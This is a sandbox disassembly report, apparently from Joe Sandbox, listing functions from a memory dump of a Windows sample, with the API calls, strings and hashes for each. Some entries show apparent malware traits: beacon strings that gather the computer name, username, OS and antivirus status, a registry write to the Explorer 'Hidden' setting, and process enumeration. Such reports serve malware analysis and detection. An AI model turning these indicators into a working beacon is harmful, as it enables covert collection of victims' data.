Part of subcall function 00007FF60E61FA80: UnDecorator::getVbTableType.LIBCMTD ref: 00007FF60E61FAAA

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Ucopy$Decorator::getMtx_guardMtx_guard::~_TableTypetype_info::_name_internal_method
String ID:
API String ID: 4074051914-0
Opcode ID: f014fbc6859682eefceef7ecbbf1b7741ac91cddb56665be6d968ce3dc7cad67
Instruction ID: f281da6ebbd210d96c24bbb24589d0947070deddba1f62d9b13901bddf64a0cc
Opcode Fuzzy Hash: f014fbc6859682eefceef7ecbbf1b7741ac91cddb56665be6d968ce3dc7cad67
Instruction Fuzzy Hash: DFD1A426619BC985CA70DB5AE4903AAB761F7D9BC0F504026EECE83B69DF3CD444CB01

Function 00007FF60E618C60 Relevance: 10.6, APIs: 7, Instructions: 141COMMON

Download Yara Rule

APIs

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60E618CF6
type_info::_name_internal_method.LIBCMTD ref: 00007FF60E618D33
_Ucopy.LIBCPMTD ref: 00007FF60E618D5E
_Ucopy.LIBCPMTD ref: 00007FF60E618D82
_Ucopy.LIBCPMTD ref: 00007FF60E618DA4
_aligned_msize.LIBCMTD ref: 00007FF60E618E27

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Ucopy$Mtx_guardMtx_guard::~__aligned_msizetype_info::_name_internal_method
String ID:
API String ID: 1928733530-0
Opcode ID: 4325eb878f5f8b404332b1c80043bf9b581a45e85f0c9479c12b2f4d25b8355e
Instruction ID: c8ccbee5f96ef9c760f43ee6dca8c921b148bd6fcf7521556392a6ac0271c669
Opcode Fuzzy Hash: 4325eb878f5f8b404332b1c80043bf9b581a45e85f0c9479c12b2f4d25b8355e
Instruction Fuzzy Hash: 69718D26A19F8582DA50DB5AF49026EA7A0F7D8BD4F245126FF8D83B69CE3CD441DF00

Function 00007FF60E618980 Relevance: 10.6, APIs: 7, Instructions: 141COMMON

Download Yara Rule

APIs

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60E618A16
type_info::_name_internal_method.LIBCMTD ref: 00007FF60E618A53
_Ucopy.LIBCPMTD ref: 00007FF60E618A7E
_Ucopy.LIBCPMTD ref: 00007FF60E618AA2
_Ucopy.LIBCPMTD ref: 00007FF60E618AC4
_aligned_msize.LIBCMTD ref: 00007FF60E618B47

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Ucopy$Mtx_guardMtx_guard::~__aligned_msizetype_info::_name_internal_method
String ID:
API String ID: 1928733530-0
Opcode ID: 09518546536a787895912284108b7650a63c47b0a4a23c6140e26a573662d104
Instruction ID: fd623db9705c1b3c6c0c0ca58a1a93e4c7cc71d9cfc72a0480b7d87081a6a88f
Opcode Fuzzy Hash: 09518546536a787895912284108b7650a63c47b0a4a23c6140e26a573662d104
Instruction Fuzzy Hash: 4C71AC66A19F8482DA50DB5AF49026EA7A0F7D8BD4F205126FF8D83B69CE3CD441CF00

Function 00007FF60E63F30C Relevance: 10.6, APIs: 7, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF60E63F337
_errno.LIBCMT ref: 00007FF60E63F32C

Part of subcall function 00007FF60E6359A4: _getptd_noexit.LIBCMT ref: 00007FF60E6359A8

_errno.LIBCMT ref: 00007FF60E63F3DA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF60E63F3E5

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd_noexit
String ID:
API String ID: 1573762532-0
Opcode ID: a13fad1822833028ca0eb10c8db0b597438e1cbbeed43b07fa581a08987f042d
Instruction ID: ed38e619ec7c7a76c0e67f808c603189681174bde67ed93fad064cd2b5c31e41
Opcode Fuzzy Hash: a13fad1822833028ca0eb10c8db0b597438e1cbbeed43b07fa581a08987f042d
Instruction Fuzzy Hash: 7A41B462F282B681FE749B31B5405F9A2A0EF70794FA44132FA9D876C7DF2CE551A340

Function 00007FF60E633424 Relevance: 10.6, APIs: 7, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF60E63344A
_errno.LIBCMT ref: 00007FF60E63343F

Part of subcall function 00007FF60E6359A4: _getptd_noexit.LIBCMT ref: 00007FF60E6359A8

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00007FF60E6334C9
_errno.LIBCMT ref: 00007FF60E6334DA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF60E6334E5

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
String ID:
API String ID: 781512312-0
Opcode ID: 9ed3336eb9426492d7b9aa9cf18bd71b667003e75d89d3dfa61ab95dda06c464
Instruction ID: 789e6c58f7365a5aeda6275f48a992634797ffa5dd543ae8ee3664eafb8381aa
Opcode Fuzzy Hash: 9ed3336eb9426492d7b9aa9cf18bd71b667003e75d89d3dfa61ab95dda06c464
Instruction Fuzzy Hash: 65411C62E382B281EB649B25B5401B972A0EF70BB1FA44135F6AD877C6DE1CE551E700

Function 00007FF60E630D0C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 00007FF60E630D41
GetVolumeInformationA.KERNEL32 ref: 00007FF60E630DCF
wsprintfA.USER32 ref: 00007FF60E630E5E

Strings

%08lX%04lX%lu, xrefs: 00007FF60E630E4F
C, xrefs: 00007FF60E630D54
\, xrefs: 00007FF60E630D8A

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu$C$\
API String ID: 3001812590-4231652159
Opcode ID: 7bd2a999512e55fdd9f8ee897116d2d3bdff1adfd49b806867a6735701cc4331
Instruction ID: 70e70a5a6660811721e16674a95a6aec1dfd8fe913e1154774995edab2bbd7bb
Opcode Fuzzy Hash: 7bd2a999512e55fdd9f8ee897116d2d3bdff1adfd49b806867a6735701cc4331
Instruction Fuzzy Hash: 87310B3261C68186E7118B68F4543AABBA0E7D5744F640136F68D87BA9DFBED948CB00

Function 00007FF60E637A68 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00007FF60E637A89
_getptd.LIBCMT ref: 00007FF60E637A97
_getptd.LIBCMT ref: 00007FF60E637AA9

Strings

MOC, xrefs: 00007FF60E637A77
csm, xrefs: 00007FF60E637A7F
RCC, xrefs: 00007FF60E637A6F

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: 8894c65672d227fda39ec56e5dcad6079c82dd72da27f0faa52aa83d8d89759d
Instruction ID: b4d50e9f87d7058678d4330fe2d7588166eb396078913b05f8a2d664fe691557
Opcode Fuzzy Hash: 8894c65672d227fda39ec56e5dcad6079c82dd72da27f0faa52aa83d8d89759d
Instruction Fuzzy Hash: 10F0A735D2C112D5E2542B70A0013BD25A0FFB4705F759472F20883381CF7C7590A702

Function 00007FF60E62C9D0 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 102sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60E630D0C: GetWindowsDirectoryA.KERNEL32 ref: 00007FF60E630D41
Part of subcall function 00007FF60E630D0C: GetVolumeInformationA.KERNEL32 ref: 00007FF60E630DCF
Part of subcall function 00007FF60E630D0C: wsprintfA.USER32 ref: 00007FF60E630E5E

_snprintf.LIBCMT ref: 00007FF60E62CA46

Part of subcall function 00007FF60E633598: _errno.LIBCMT ref: 00007FF60E6335CF
Part of subcall function 00007FF60E633598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF60E6335DA

Sleep.KERNEL32 ref: 00007FF60E62CB24
Sleep.KERNEL32 ref: 00007FF60E62CB78

Strings

err, xrefs: 00007FF60E62CAFA
task=1&uid=%s, xrefs: 00007FF60E62CA11
data=, xrefs: 00007FF60E62CA8D

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Sleep$DirectoryInformationVolumeWindows_errno_invalid_parameter_noinfo_snprintfwsprintf
String ID: data=$err$task=1&uid=%s
API String ID: 1865811002-1781340663
Opcode ID: 0af1d471e20986adbd40fd4a058f03d5b486d937defcffe757d3d044ca000848
Instruction ID: d7b12d0cabee1fbb7c9f4f0a6149ac6089980c1e58cc1bcbfc8bfbdb561f8688
Opcode Fuzzy Hash: 0af1d471e20986adbd40fd4a058f03d5b486d937defcffe757d3d044ca000848
Instruction Fuzzy Hash: 3941802262C99186E760DB14F4503AEA7A1F7E8794F604235F68DC3B99DF3CD949DB00

Function 00007FF60E6303F4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF60E630411
PathFindFileNameW.SHLWAPI ref: 00007FF60E630424
wcslen.MSVCRT ref: 00007FF60E630434
wcsncpy.MSVCRT ref: 00007FF60E6304D5

Strings

Unknown, xrefs: 00007FF60E6304C6

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: FileName$FindModulePathwcslenwcsncpy
String ID: Unknown
API String ID: 4220601557-1654365787
Opcode ID: 1dfae691d3f300e8eb9ec59fb40c600c63e8ff47fd4a1043f669c2907b9887a7
Instruction ID: 994f37263b6c58c1db3c566c8bf1f8884bd1b4780549f97c065eb029623027c8
Opcode Fuzzy Hash: 1dfae691d3f300e8eb9ec59fb40c600c63e8ff47fd4a1043f669c2907b9887a7
Instruction Fuzzy Hash: 4B21E97262CA9486D7B0DB15F48476AA3A0F798B44F500225FACDC3B68DF3DD654DB00

Function 00007FF60E6302E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF60E630323
RegSetValueExW.ADVAPI32 ref: 00007FF60E630359
RegCloseKey.ADVAPI32 ref: 00007FF60E630368

Strings

Hidden, xrefs: 00007FF60E6302F0
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00007FF60E6302E4

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: CloseOpenValue
String ID: Hidden$Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
API String ID: 779948276-85274793
Opcode ID: beb93c632a34156963fe64735a9b928f099ba9484622690a6d160c2725b03238
Instruction ID: 9606b62eadbf61c6443bb799ff477a9caed4f2ed92e05a895bb0602a262b4e52
Opcode Fuzzy Hash: beb93c632a34156963fe64735a9b928f099ba9484622690a6d160c2725b03238
Instruction Fuzzy Hash: D6010C76629B91CAD7909B14F48475AB7A4F798B94F902225FB8E83B68DF3CC144CF00

Function 00007FF60E6113A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF60E6113B8
GetProcAddress.KERNEL32 ref: 00007FF60E6113C8

Strings

IsWow64Process, xrefs: 00007FF60E6113BE
@, xrefs: 00007FF60E611405
kernel32, xrefs: 00007FF60E6113B1

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: @$IsWow64Process$kernel32
API String ID: 1646373207-1447682865
Opcode ID: ab93a9697e7db49f45cab12df12d8e20f72fdeb3fe900da885d9202ed212137f
Instruction ID: 49e55a3650120ea37a658fb2d5a98e758df3912c3bc122704051c4ccf46bda63
Opcode Fuzzy Hash: ab93a9697e7db49f45cab12df12d8e20f72fdeb3fe900da885d9202ed212137f
Instruction Fuzzy Hash: 31014F6292D612C2E7318F41F44436E77A0FBA6B48F640175F68D86698CF3CDA49DB00

Function 00007FF60E63F758 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00007FF60E63F7BA
_isleadbyte_l.LIBCMT ref: 00007FF60E63F7EA
MultiByteToWideChar.KERNEL32 ref: 00007FF60E63F829
MultiByteToWideChar.KERNEL32 ref: 00007FF60E63F877
_errno.LIBCMT ref: 00007FF60E63F881

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::__errno_isleadbyte_l
String ID:
API String ID: 2998201375-0
Opcode ID: 5223744fd3fccca467624dc8a192276cd82e61384c6ea2980f54dffe725d773f
Instruction ID: 9f479206b39b17de42ad1430035ce3716545da7b8936b8c1382a9e9164842236
Opcode Fuzzy Hash: 5223744fd3fccca467624dc8a192276cd82e61384c6ea2980f54dffe725d773f
Instruction Fuzzy Hash: 1B41C332F2879286EB648F25B5402B96BB5FFA4B90F244135FA8D97B95CF3CD4419700

Function 00007FF60E6312F4 Relevance: 7.5, APIs: 5, Instructions: 35processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF60E63130F
Process32FirstW.KERNEL32 ref: 00007FF60E631338
wcscmp.MSVCRT ref: 00007FF60E63134F
CloseHandle.KERNEL32 ref: 00007FF60E63137C

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32wcscmp
String ID:
API String ID: 2850635065-0
Opcode ID: 0e751263ca790cefd0de29730052997415424a4d3fcfa03dfa405769945a3833
Instruction ID: d83242ffaaac3d417605b97915233f718ba443c9764c0199024188800d1300d3
Opcode Fuzzy Hash: 0e751263ca790cefd0de29730052997415424a4d3fcfa03dfa405769945a3833
Instruction Fuzzy Hash: AC110372A2D65286E7609B20F44833EB760FBA57A4F504235F59EC29A8DF3CD545DB00

Function 00007FF60E6329AC Relevance: 7.5, APIs: 5, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00007FF60E6329B9

Part of subcall function 00007FF60E63572C: _getptd_noexit.LIBCMT ref: 00007FF60E635732

_inconsistency.LIBCMT ref: 00007FF60E6329C7

Part of subcall function 00007FF60E6380C4: DecodePointer.KERNEL32(?,?,?,?,00007FF60E638071,?,?,?,00007FF60E632612), ref: 00007FF60E6380CF

_getptd.LIBCMT ref: 00007FF60E6329CC
_inconsistency.LIBCMT ref: 00007FF60E6329E8
_getptd.LIBCMT ref: 00007FF60E6329F8

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: _getptd$_inconsistency$DecodePointer_getptd_noexit
String ID:
API String ID: 3566995948-0
Opcode ID: ee8c12c8554f5530bc3b28713b5296e1af5c1cc8e122cf2103e50e6ee38f58da
Instruction ID: e07ab7d9407b1e54121ae4fcc68b069cb8eae6fa44ab61505bb038a152f8d4bd
Opcode Fuzzy Hash: ee8c12c8554f5530bc3b28713b5296e1af5c1cc8e122cf2103e50e6ee38f58da
Instruction Fuzzy Hash: 4CF08922E28592D0EA506B72F0411FC5665FF78B80F2C5531F74D472C7DE19E490A310

Function 00007FF60E62D070 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00007FF60E62D11C
_snprintf.LIBCMT ref: 00007FF60E62D1EB

Strings

info=1&uid=%s&ver=%s&os=%u.%u.%u&cmpname=%s&username=%s&ut=%d&av=%d, xrefs: 00007FF60E62D090
3.2, xrefs: 00007FF60E62D1C5

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Version_snprintf
String ID: 3.2$info=1&uid=%s&ver=%s&os=%u.%u.%u&cmpname=%s&username=%s&ut=%d&av=%d
API String ID: 2221195653-1629646224
Opcode ID: d8e065c0954a299e65155b93d3e3b5ceec94708ba317d722836e874e1f68d53d
Instruction ID: 80775f818ba3eb0aaae21c3df7ffeec47af89444c6fac1822beebbc3e141ee3a
Opcode Fuzzy Hash: d8e065c0954a299e65155b93d3e3b5ceec94708ba317d722836e874e1f68d53d
Instruction Fuzzy Hash: 7751D672618AC58AD764CB24F4543AAB7A1F7D8790F604229EB9DC3BA8DF7CD444DB00

Function 00007FF60E631590 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 00007FF60E63159E
malloc.LIBCMT ref: 00007FF60E6315AA

Part of subcall function 00007FF60E63244C: _FF_MSGBANNER.LIBCMT ref: 00007FF60E63247C
Part of subcall function 00007FF60E63244C: _NMSG_WRITE.LIBCMT ref: 00007FF60E632486
Part of subcall function 00007FF60E63244C: HeapAlloc.KERNEL32(?,?,00000000,00007FF60E634284,?,?,?,00007FF60E63AD9C,?,?,?,00007FF60E63AC9B,?,?,00000000,00007FF60E635832), ref: 00007FF60E6324A1
Part of subcall function 00007FF60E63244C: _callnewh.LIBCMT ref: 00007FF60E6324BA
Part of subcall function 00007FF60E63244C: _errno.LIBCMT ref: 00007FF60E6324C5
Part of subcall function 00007FF60E63244C: _errno.LIBCMT ref: 00007FF60E6324D0

_CxxThrowException.LIBCMT ref: 00007FF60E6315F3

Part of subcall function 00007FF60E632504: RtlPcToFileHeader.NTDLL ref: 00007FF60E632593
Part of subcall function 00007FF60E632504: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF60E6404BE), ref: 00007FF60E6325D2

Strings

bad allocation, xrefs: 00007FF60E6315BA

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Exception_callnewh_errno$AllocFileHeaderHeapRaiseThrowmalloc
String ID: bad allocation
API String ID: 1214304046-2104205924
Opcode ID: 3b8e8bd193397a22c989b775499798885fd0ff8c1caff98f5e3a105427b3f2ea
Instruction ID: 3e7657ad4ad003b3f8d347e4688ab8fe50cf383fc15485e31ca02f82e710b8c7
